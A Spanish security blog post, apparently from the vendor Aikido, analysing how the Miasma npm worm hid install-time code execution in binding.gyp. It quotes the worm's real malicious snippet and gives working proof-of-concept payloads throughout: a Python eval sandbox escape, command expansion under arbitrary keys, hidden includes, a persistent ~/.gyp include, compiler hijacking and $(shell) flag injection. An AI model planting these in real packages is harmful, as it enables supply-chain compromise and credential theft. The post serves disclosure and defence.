
Han pasado solo un par de días desde el ataque Miasma que afectó a 32 paquetes oficiales de Red Hat en npm. El gusano añadió un script malicioso preinstall a cada paquete comprometido, de modo que node index.js se ejecutaba automáticamente en el momento en que instalabas la dependencia, recolectando credenciales de cloud, tokens de CI, claves SSH y más, antes de que ejecutaras una sola línea de tu propio código.
En los días siguientes, Miasma se extendió mucho más allá de sus objetivos iniciales, afectando a varios otros paquetes en npm, PyPI y GitHub, incluyendo @vapi-ai/server-sdk (71k descargas semanales) y ai-sdk-ollama (31k descargas semanales).
Sin embargo, esta nueva ola viene con un nuevo truco.
Si auditaste uno de estos paquetes, examinaste su package.json, no viste ningún preinstall o postinstall hook, y concluiste que era seguro de instalar, piénsalo de nuevo. La última variante movió su disparador fuera de package.json por completo y a un archivo mucho menos examinado que npm ejecutará gustosamente por ti en el momento de la instalación: binding.gyp.
En este artículo, analizaremos en profundidad binding.gyp. Analizaremos qué es, por qué npm lo ejecuta y la sorprendente cantidad de formas en que puede ser utilizado indebidamente para ejecutar código arbitrario, desde evasión de sandbox con secuestro de compilador, todo ello pareciendo un archivo de compilación inofensivo.
¿Qué son node-gyp y binding.gyp?
Muchos paquetes de npm no son JavaScript puro. Envían complementos nativos escritos en C o C++ que necesitan ser compilados en un binario antes de que Node pueda cargarlos. La herramienta responsable de ese paso de compilación es node-gyp, una herramienta de compilación multiplataforma que npm empaqueta e invoca por ti. Es un wrapper alrededor de GYP, que significa Generate Your Projects, un sistema de compilación que Google creó originalmente para el proyecto Chromium. Sin embargo, Google ha retirado Chromium de él y ha dejado de mantenerlo, por lo que node-gyp ahora depende de un fork mantenido por Node.js.
node-gyp sabe qué compilar leyendo un archivo llamado binding.gyp que reside en la raíz del paquete. Es un archivo similar a JSON que describe la compilación (técnicamente un literal de Python, lo cual será relevante más adelante). Describe qué archivos fuente compilar, qué directorios de inclusión usar, y así sucesivamente. Un binding.gyp podría verse así:
{
"targets": [
{
"target_name": "addon",
"sources": ["src/addon.cc"]
}
]
}
Sin embargo, esto puede convertirse fácilmente en un problema de seguridad. Cuando npm instala un paquete y detecta un binding.gyp en su raíz, ejecuta automáticamente node-gyp rebuild para ese paquete como parte de la instalación. El paquete no necesita registrar ningún script en package.json para que esto ocurra. La mera presencia de un binding.gyp archivo es suficiente para que se ejecute código durante la instalación.
Así que incluso un paquete completamente limpio package.json, sin hooks de ciclo de vida, activará la toolchain de gyp en el momento de la instalación simplemente porque el archivo existe.
Cómo Miasma lo explotó
Aquí hay un fragmento real de lo que el gusano introdujo en los paquetes comprometidos:
{
"targets": [
{
"target_name": "Setup",
"type": "none",
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
}
]
}A primera vista, esto parece un objetivo de compilación llamado Configuración con un único archivo fuente. Observe más de cerca el fuentes array. En lugar de un nombre de archivo simple, contiene una cadena envuelta en <!(...).
Eso <!(...) la sintaxis es una característica de gyp llamada expansión de comando. Cuando gyp analiza este archivo, no trata el contenido como una cadena literal. Ejecuta el comando de shell incluido y sustituye la salida del comando de vuelta en el campo.
Así que cuando node-gyp procesa el objetivo, ejecuta:
node index.js > /dev/null 2>&1 && echo stub.cDesglosando esto:
node index.jsejecuta la carga maliciosa. Estoindex.jses la misma carga Miasma que vimos en los ataques anteriores de Red Hat, el ladrón de credenciales ofuscado y el gusano de esta campaña.> /dev/null 2>&1descarta toda la salida, por lo que nada sospechoso aparece en los registros de instalación.&& echo stub.cimprime un nombre de archivo de apariencia inofensiva. Gyp lo captura como el valor de lafuentesentrada, por lo que la compilación continúa y nada parece estar roto.
La carga útil se ejecuta, permanece en silencio y la compilación se completa normalmente. No es necesario un hook de preinstalación.
La sintaxis de expansión, y por qué es incluso peor de lo que parece
GYP ofrece varias modalidades de expansión de comandos:
<!(command)/>!(command)/^!(command)– ejecuta el comando y sustituye su salida bruta como una única cadena.<!@(command)/>!@(command)/^!@(command)– ejecuta el comando y divide su salida en una lista, lo cual es útil cuando gyp espera un array.<!pymod_do_main(module args)– importamodulecomo un módulo de Python y llama a suDoMain()función, utilizando el valor de retorno como sustitución.<|(name item1 item2 ...)crea un archivo llamadonombreen tiempo de análisis, con cada elemento en su propia línea.
Todos estos se ejecutan en tiempo de análisis, antes de que ocurra cualquier compilación.
Intuitivamente, cabría esperar que esto solo ocurriera en campos documentados reales como fuentes, bibliotecas o include_dirs. Esa intuición es errónea, y aquí es donde la cosa empieza a ponerse interesante.
GYP no limita la expansión de comandos a una lista conocida de campos. Cuando carga un .gyp archivo, recorre recursivamente toda la estructura analizada y expande <!(...) y <!@(...) dentro de cualquier valor de cadena que encuentre, sin importar bajo qué clave se encuentre esa cadena. No existe un esquema que diga "solo se permiten estos nombres de campo".
En la práctica, eso significa que un atacante puede inventar un nombre de campo (como some_random_key) que no existe en absoluto en la documentación de gyp, y el comando que contiene seguirá ejecutándose:
{
"some_random_key": "<!(node evil.js && echo 0)",
"targets": []
}No existe ningún some_random_key campo en gyp. No necesita serlo. La cadena que se encuentra bajo esa clave contiene un <!(...) token, el paso de expansión recursiva lo alcanza y el comando se ejecuta. Esto es lo que hace que revisarlos sea tan tedioso. No puedes limitarte a comprobar el puñado de campos que esperas que sean peligrosos, porque la carga útil puede estar oculta bajo cualquier clave y a cualquier profundidad en el archivo.
El Escape del sandbox
¿Pensabas que las expansiones de comandos eran arriesgadas? La cosa solo empeora a partir de aquí.
Hasta ahora, hemos tratado binding.gyp como un archivo JSON ligeramente inusual con algunas características adicionales. Bajo el capó, en realidad es un diccionario de Python, y entrega el archivo directamente al eval()de Python. ¿Ves por dónde voy?
Así es: el archivo que npm ejecuta para ti en el momento de la instalación es analizado por eval. Los autores de gyp no ignoraban cómo esto podría ser objeto de abuso, por lo que llaman a eval con los builtins eliminados:
eval(file_contents, {"__builtins__": {}}, None)La idea es que, sin funciones integradas disponibles, un atacante que controle el archivo gyp no pueda acceder a nada peligroso, como ejecutar un comando de shell o leer archivos del disco. Los bloques de construcción que normalmente usarías para eso, como __import__ para cargar el os módulo o open para tocar un archivo, han sido eliminadas. Es una sandbox clásica. Sin embargo, como casi todo intento de aislar (sandbox) el Python de eval, se puede escapar.
Podemos salir directamente de esa sandbox y hacer que GYP ejecute código Python arbitrario. Aquí se muestra un completo binding.gypmalicioso, en su totalidad:
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js')Eso es todo. Ese es el archivo completo. No es necesaria la sintaxis JSON. No utilizamos ninguno de los campos habituales objetivos o fuentes que cabría esperar en un archivo gyp. Solo una única expresión Python. Funciona porque, antes de que node evil.js sea llamada, la expresión realiza un pequeño truco para salir de eval()la sandbox de.
Las funciones peligrosas fueron eliminadas, pero los objetos inofensivos que aún se pueden tocar guardan discretamente referencias ocultas a ellas. Partiendo de la tupla vacía inofensiva (), salta a través de las relaciones internas de objetos de Python hasta que encuentra algo que aún mantiene una referencia a las funciones que fueron eliminadas, las toma y usa eso para importar el os módulo y ejecutar el comando de shell node evil.js.
Y esto se ejecuta en el momento en que alguien ejecuta npm install <package>, puramente como un efecto secundario del análisis del archivo por parte de gyp.
Dado que toda la sintaxis de gyp es esencialmente solo un diccionario Python, la expresión puede insertarse en cualquier valor de un archivo de compilación que, de otro modo, parecería completamente normal:
{
"variables": {
"module_name": "fast_crypto",
"openssl_fips": [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js') or "",
},
"targets": [
{
"target_name": "<(module_name)",
"sources": ["src/binding.cc", "src/crypto.cc"],
"include_dirs": ["<!(node -p \"require('node-addon-api').include\")"],
"defines": ["NAPI_VERSION=8"],
}
]
}
Este es un gyp funcional binding.gyp que realmente construiría un módulo nativo. La carga útil está oculta dentro de la openssl_fips variable, hecha para integrarse con el resto del archivo de compilación. No fue necesaria ninguna <!(...) expansión de comandos.
Las condiciones son la misma historia. GYP permite que un archivo de compilación aplique diferentes configuraciones según el entorno, a través de una condiciones clave.
"conditions": [
["OS=='win'", { "sources": ["socket_win.cc"] }],
["OS=='linux'", { "defines": ["LINUX"] }],
]
Esas cadenas de condición, "OS=='win'", están destinadas a ser pequeñas comprobaciones booleanas. Pero gyp las evalúa de la misma manera que analiza el archivo: las compila una por una y las ejecuta a través de eval(), con los mismos builtins eliminados. Esto significa que una condición puede, de hecho, contener cualquier expresión Python arbitraria. Usando el mismo truco de Escape de sandbox, podemos convertir el condiciones campo en otro vector de ataque a tener en cuenta:
"conditions": [
["[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js') == 0", {}],
]
Acabamos de mostrarte cómo convertir binding.gyp en un ejecutor de código arbitrario que se ejecuta en tiempo de instalación (sin ningún hook de postinstalación).
Quizás te preguntes por qué todo esto importa tanto. Ya tenemos varias formas de ejecutar código en tiempo de instalación. Existe postinstall ES package.json. binding.gyp.
La diferencia aquí es que las características reales y documentadas son arriesgadas, pero de una manera que el ecosistema ya comprende. Un revisor sabe que debe leer el scripts bloque en package.json. Un escáner puede configurarse para detectar <!(...) expansiones. Podemos anticiparlas, escribir reglas para ellas y defendernos, precisamente porque se supone que deben existir.
Escapar de un sandbox es un tipo de problema diferente, porque nunca fue intencionado. Nadie espera binding.gyp simplemente alojar código Python puro que se ejecute en tiempo de instalación.
Ocultar código en archivos incluidos
Hasta ahora, cada payload ha residido en un único binding.gyp archivo. No tiene por qué ser así.
binding.gyp admite un inclusiones clave. Su propósito es extraer configuraciones de compilación compartidas a un archivo separado e incorporarlas en múltiples objetivos o proyectos, para evitar la duplicidad. Cuando gyp encuentra una inclusiones entrada, carga ese archivo y fusiona su contenido con el actual antes de procesarlo.
La particularidad es que el archivo incluido se procesa exactamente igual que el principal binding.gyp, lo que significa que cada expansión o truco de evasión de sandbox de las secciones anteriores también se aplica dentro de él. Un atacante puede mover la carga útil fuera de binding.gyp y a un archivo incluido, dejando el archivo principal con el aspecto de un archivo de configuración de compilación normal:
{
"includes": ["evil"],
"targets": [...]
}El archivo incluido evil puede entonces contener la carga útil real, que de nuevo puede ocultarse bajo una clave arbitraria, a cualquier profundidad en el archivo.
{
"anyrandomname": {
"somethingarbitrary": "<!(node evil_script.js && echo 0)"
}
}Dos aspectos hacen que esto sea excelente para un atacante y perjudicial para un revisor. Primero, el archivo incluido puede tener cualquier nombre. No necesita una .gyp o .gypi extensión. Solo tiene que contener datos válidos con formato JSON. Un archivo llamado inocentemente config o LICENSE funciona igual de bien.
Segundo, inclusiones son transitivas. Un archivo incluido puede a su vez incluir otro archivo, que puede incluir otro, y así sucesivamente. Ahora, la carga útil en tiempo de instalación que realmente se ejecuta podría estar a tres o cuatro archivos de distancia del binding.gyp que empezó a analizar.
Inclusiones automáticas y persistencia
¿Cree que ya domina las inclusiones? Hay un giro: ni siquiera necesita una inclusiones clave, porque node-gyp incluye algunos archivos por sí mismo.
Cuando node-gyp configura una compilación, busca dos archivos en la raíz del paquete, config.gypi y common.gypi, e incluye forzosamente cualquiera que encuentre, exactamente como si los hubiera listado en inclusiones. Se procesan como cualquier otro archivo gyp, por lo que todos los trucos de las últimas secciones funcionan en su interior. La particularidad para un revisor es que nada en binding.gyp los señala. Un binding.gyp puede ser un único par de llaves vacío y aun así extraer una carga útil de un elemento hermano config.gypi:
{ }{
"variables": {
"anything": "<!(node evil.js && echo 0)"
}
}El primer archivo es todo el binding.gyp. El segundo es config.gypi, ubicado discretamente junto a él, y se ejecuta en la instalación.
Eso es malo, pero lo siguiente es peor. node-gyp también incluye automáticamente ~/.gyp/include.gypi, resuelto desde el directorio de inicio del usuario, en cada compilación gyp que ejecute ese usuario. No solo en este proyecto, sino en todos los proyectos. Si se deja una carga útil allí una vez, persistirá en cada compilación nativa npm install con un binding.gyp que se realice de nuevo.
Incorporación de código a través de dependencias
Independientemente de inclusiones, los objetivos gyp pueden declarar dependencias dependencias sobre otros objetivos definidos en archivos completamente diferentes. .gyp archivos.
Dado que una dependencia apunta a otro archivo gyp, y ese archivo se analiza y expande como cualquier otro, las dependencias ofrecen a un atacante una segunda vía independiente para acceder a código en otro archivo:
{
"targets": [
{
"target_name": "main",
"type": "none",
"dependencies": ["dep.gyp:dep_target"]
}
]
}El archivo referenciado dep.gyp alberga entonces la carga útil dentro de uno de sus objetivos:
{
"targets": [
{
"target_name": "dep_target",
"type": "none",
"sources": ["<!(node malicious.js && echo stub.c)"]
}
]
}Al igual que con inclusiones, el nombre del archivo referenciado es irrelevante siempre que contenga datos válidos con formato JSON. Y al igual que con inclusiones, estas dependencias también pueden ser transitivas.
Secuestro del compilador
El binding.gyp también controla cómo se compila el código nativo, qué compilador invocar y qué flags pasarle, y ese control se convierte en su propio vector de ataque.
Una construcción nativa debe saber qué compilador usar y qué opciones proporcionarle. Gyp lo expone en dos lugares:
- configuraciones por objetivo como
cflags,defines, yinclude_dirs. make_global_settings(Linux / macOS) – un bloque de nivel superior en un archivo gyp que establece la cadena de herramientas para toda la compilación:- el compilador C (
CC) - el compilador C++ (
CXX) - el enlazador (
LINK) - el archivador (
AR) - flags del compilador (
CFLAGS) - flags del enlazador (
LDFLAGS)
- el compilador C (
Dado que la compilación ocurre en tiempo de instalación, un actor malicioso podría reemplazar el compilador, apuntándolo a su propio script:
{
"make_global_settings": [
["CC", "<(module_root_dir)/cc-evil.sh"]
],
"targets": [
{
"target_name": "addon",
"type": "static_library",
"sources": ["src/addon.c"]
}
]
}Ahora la construcción ejecuta cc-evil.sh como el compilador para cada paso de compilación, donde cc-evil.sh podría verse así:
node "$(dirname "$0")/evil.js"
exec cc "$@"El script puede realizar cualquier acción (como ejecutar evil.js) y luego llamar al compilador real para que la compilación siga teniendo éxito, y nadie se dé cuenta.
GYP incluso tiene una convención dedicada para esto, pensada para lanzadores de compiladores como ccache. Un *_wrapper clave antepone su programa delante del compilador real:
{
"make_global_settings": [
["CC", "/usr/bin/cc"],
["CC_wrapper", "<(module_root_dir)/cc-evil-wrapper.sh"]
],
"targets": [
{
"target_name": "addon",
"type": "static_library",
"sources": ["src/addon.c"]
}
]
}Aquí gyp ejecuta cc-evil-wrapper.sh /usr/bin/cc ..., entregando al script malicioso el compilador real como argumento.
Además, un atacante ni siquiera tiene que reemplazar el compilador. Simplemente puede pasarle flags, y gyp escribe esos flags en el archivo de compilación generado. En una compilación basada en make, los flags se convierten en make variables, y make puede evaluar un $(shell) comando que encuentra dentro de uno. Así, un valor de flag puede ser secuestrado para transportar un comando malicioso.
Hay dos lugares para inyectar. En el propio objetivo, por ejemplo, a través de cflags (o xcode_settings en macOS):
{
"targets": [
{
"target_name": "addon",
"type": "static_library",
"sources": ["src/addon.c"],
"cflags": ["$(shell node <(module_root_dir)/evil.js)"]
}
]
}O globalmente para cada objetivo, a través de make_global_settings:
{
"make_global_settings": [
["CFLAGS", "$(shell node <(module_root_dir)/evil.js)"]
],
"targets": [
{
"target_name": "addon",
"type": "static_library",
"sources": ["src/addon.c"]
}
]
}Cuando se ejecuta la compilación, el malicioso $(shell ...) el comando se ejecuta y su salida se pasa al compilador como un flag inofensivo, de modo que la compilación procede con éxito.
El mecanismo exacto para secuestrar un compilador puede diferir según la herramienta de compilación y el sistema operativo. Sin embargo, la conclusión clave es que la configuración del compilador y del enlazador debe tratarse como código, ya que las herramientas de compilación como make pueden evaluar su contenido en npm install tiempo de compilación.
Ejecución de código mediante acciones
Hasta ahora, cada vector se ha basado en la expansión de comandos, la evasión de sandboxes o el secuestro de compiladores. GYP tiene otra característica que ejecuta comandos por diseño: acciones.
Una acción es un paso de compilación asociado a un objetivo que ejecuta un comando arbitrario, normalmente para generar un archivo fuente o procesar alguna entrada antes de la compilación. Es una característica documentada que reside dentro del acciones array. Cada acción especifica un comando a ejecutar, sus entradas y sus salidas.
Dado que el propósito principal de una acción es ejecutar un comando, un atacante ni siquiera necesita la sintaxis de expansión aquí. Simplemente pueden pedir a gyp que ejecute su payload directamente:
{
"targets": [
{
"target_name": "via_actions",
"type": "none",
"actions": [
{
"action_name": "poc_action",
"inputs": [],
"outputs": ["poc_action_done"],
"action": ["node", "evil.js"]
}
]
}
]
}Cuando el objetivo se compila, gyp ejecuta node evil.js. No <!(...) requerido, ningún archivo fuente que compilar, solo un paso de compilación cuyo único trabajo es ejecutar un comando.
Hay un concepto similar que vale la pena conocer: reglas. Una regla es como una acción, excepto que se activa una vez por cada archivo de entrada que coincide con una extensión dada. Apunte una regla a un archivo con la extensión correcta, y su comando se ejecutará para ese archivo:
{
"targets": [
{
"target_name": "via_rules",
"type": "none",
"sources": ["trigger.poc"],
"rules": [
{
"rule_name": "poc_rule",
"extension": "poc",
"outputs": ["<(RULE_INPUT_ROOT).done"],
"action": ["node", "evil.js"]
}
]
}
]
}Aquí, el objetivo lista un único archivo fuente, trigger.poc. La regla establece que para cada archivo de entrada que termina en .poc, gyp debería ejecutar node evil.js. El atacante controla ambas partes, por lo que envía un archivo desechable con la extensión coincidente, y la regla se activa contra él en tiempo de compilación. El efecto es el mismo que el de una acción, siendo el disparador un archivo coincidente en lugar del propio objetivo.
Hay un tercer miembro de esta familia, postbuilds, un comando que se ejecuta después de que se haya construido un objetivo. Contiene el mismo tipo de acción array:
{
"targets": [
{
"target_name": "via_postbuilds",
"type": "none",
"postbuilds": [
{
"postbuild_name": "poc_postbuild",
"action": ["node", "evil.js"]
}
]
}
]
}La conclusión clave es que un binding.gyp el archivo ejecuta código en el momento de la instalación, exactamente como un preinstall o postinstall hook en package.json, por lo que merece exactamente la misma sospecha. La presencia de binding.gyp en una dependencia significa que el código puede ejecutarse durante la instalación, independientemente de lo que package.json diga. Un package.json sin scripts de instalación ya no es prueba de que no se ejecute nada.
Los equipos de seguridad deberían prestar atención aquí. Las personas detrás de ataques a la cadena de suministro como Miasma están buscando claramente nuevas formas de ejecutar código en tiempo de instalación, y binding.gyp es fácil de pasar por alto, especialmente cuando implica un comportamiento no documentado, como los escapes de sandbox. Sería ingenuo asumir que esto es lo último que veremos.
Cómo Aikido detecta esto
Si eres usuario de Aikido, revisa tu feed central y filtra por problemas de malware. La reciente campaña Miasma, que ahora utiliza la ejecución en tiempo de instalación binding.gyp , se manifiesta como un problema crítico de 100/100. Aikido realiza reescaneos nocturnos, pero recomendamos activar un reescaneo manual inmediatamente si crees que puedes estar afectado.
¿Todavía no eres usuario de Aikido? Crea una cuenta y conecta tus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.
Para una capa adicional, Aikido Device Protection te ofrece visibilidad y control sobre los paquetes de software instalados en los dispositivos de tu equipo, cubriendo extensiones de navegador, librerías, plugins y dependencias.
Para detener un paquete como este antes de que llegue al paso de instalación, utiliza Aikido Safe Chain (código abierto). Se integra en tu flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx, y verificando los paquetes contra Aikido Intel antes de la instalación.

